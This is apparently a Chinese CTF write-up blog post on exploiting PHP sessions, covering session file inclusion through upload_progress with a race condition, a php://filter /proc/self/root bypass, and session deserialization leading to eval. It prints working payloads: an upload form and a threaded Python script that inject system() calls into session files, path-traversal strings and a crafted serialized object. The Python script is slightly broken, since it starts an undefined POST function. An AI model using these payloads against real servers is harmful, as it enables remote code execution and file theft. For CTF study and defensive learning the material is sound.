写点什么

session 利用的小思路

  • 2022 年 1 月 07 日
  • 本文字数:3431 字

    阅读完需:约 11 分钟

session 利用的小思路

前言

做题的时候经常考到 session 利用,常见的基本就两种,session 文件包含和 session 反序列化,之前没有详细总结过,就写写吧。

session 文件包含

php.ini

session 的相关配置


session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
session.upload_progress.prefix = "upload_progress_" //将表示为session中的键名
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中,php将会报告上传进度,而且它的值可控!!!
session.use_strict_mode = off //这个选项默认值为off,表示我们对Cookie中sessionid可控!!!
session.save_path = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录
复制代码


当 session 相关配置如上的时候,我们可以利用session.upload_progress将恶意语句写入 session 文件,从而包含 session 文件。


平常,当我们要创建 session 时往往会在 php 代码里写session_start(),但我们不写的话,也是可以创建的。


比如,在 php.ini 中设置session.auto_start=On 的情况下,php 在接收请求的时候会自动初始化 session,不需要执行session_start()。但默认状态下,这个选项是默认关闭的。



不过幸好,session 还有一个默认选项,session.use_strict_mode默认值为 0。



这样用户是可以自己定义 session ID 的。比如,我们在 cookie 里设置 PHPSESSID=AndyNoel,就会在服务器/tmp目录下或者/var/lib/php/sessions/目录下创建一个文件:sess_AndyNoel。即便没有设置自动初始化 session,php 也会产生 session,并生成一个键值,这个键值由ini.get("session.upload_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被一起写入 sess_文件里。

[WMCTF 2020]Make PHP Great Again

<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) {  require_once $_GET['file'];}//Please hack me with your 0day!
复制代码


很容易发现存在一个文件包含漏洞,但找不到能包含的恶意文件,那我们就可以往 session 里面写入恶意内容,然后包含它。


【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

session 维持

按照上面说的思路创建好 session 后,问题又来了,那就是在 php.ini 往往还有一条设置


session.upload_progress.cleanup = on //表示当文件上传结束后,php将会立即清空对应session文件中的内容
复制代码


默认配置session.upload_progress.cleanup = on导致文件上传后,session 文件内容立即清空,清空了就没办法利用了。我们要想办法把 session 留在里面,所以就要利用条件竞争,在 session 文件内容清空前进行文件包含利用。

方法一 | 借助 Burp Suite

可以在本地写一个上传页面,然后抓包添加Cookie: PHPSESSID=AndyNoel,再用 BurpSuite 爆破


<!DOCTYPE html><html><body><form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />    <input type="file" name="file" />    <input type="submit" value="submit" /></form></body></html>
复制代码


一边不断发包请求包含恶意的 session,一边不断发包以维持恶意 session 存储。这样就可以利用条件竞争把恶意内容留在 session 里面了。

方法二 | python 脚本

原理和上面的差不多,但是我们直接编写脚本,写 shell、取 flag 一把梭出来,用不着那么麻烦了


import ioimport sysimport requestsimport threadingsessid = 'AndyNoel'
def WRITE(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://localhost/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"}, files={"file":('1.txt', f)}, cookies={'PHPSESSID':sessid} )
def READ(session): while True: resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')
if 'flag{' in resp.text: print(resp.text) sys.exit(0) else: print('Thinking[+++++++]')
with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start()
READ(session)
复制代码

方法三(非预期) | 伪协议配合多级符号链接的办法进行绕过。

在这里有个小知识点,/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。


payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
复制代码


另外一个 payload


?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php
复制代码


session 反序列化

选择不同的处理器,处理方式也不一样,如果序列化和储存 session 与反序列化的方式不同,就有可能导致漏洞的产生。

Jarvis OJ WEB PHPINFO

<?phpini_set('session.serialize_handler', 'php');session_start();class OowoO{    public $mdzz;    function __construct()    {        $this->mdzz = 'phpinfo();';    }
function __destruct() { eval($this->mdzz); }}if(isset($_GET['phpinfo'])){ $m = new OowoO();}else{ highlight_string(file_get_contents('index.php'));}?>
复制代码


如果只看 php 代码,其实我们是找不到参数可控的地方的,所以通过什么方法来进行反序列化呢?session.serialize_handler


session.serialize_handler (string) 用来定义序列化/反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 php_serialize 在内部简单地直接使用serialize/unserialize函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。



可以看一下这个题目环境的 phpinfo,在 session 部分


默认session.serialize_handlerphp_serialize,而这里却设置为 php:



这样就很明显了,因为处理器对应的处理格式不同导致出现 session 反序列化漏洞


但还是不够,因为我们还是没办法控制变量,翻看 PHP 手册有个有意思的地方:



既然如此,我们可以去看看有关 session 的 php.ini 的设置


  • session.upload_progress.enabled = on

  • session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS


设置是这样的话,我们就可以构造反序列化了。


<?phpclass OowoO{    public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//从phpinfo看见的}$obj = new OowoO();echo serialize($obj);?>
复制代码


O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
复制代码


为了防止双引号转义,所以要处理一下,在双引号前面加\,所以应该是这样


O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}
复制代码


然后自己本地写一个提交页面:


<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" />    <input type="file" name="file" />    <input type="submit" /></form>
复制代码


抓包修改,在序列化的字符串前加 |,提交即可。

小结

session 有关的安全性问题主要是文件包含和反序列化两个利用点,利用PHP_SESSION_UPLOAD_PROGRESS可以绕过大部分过滤。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
session利用的小思路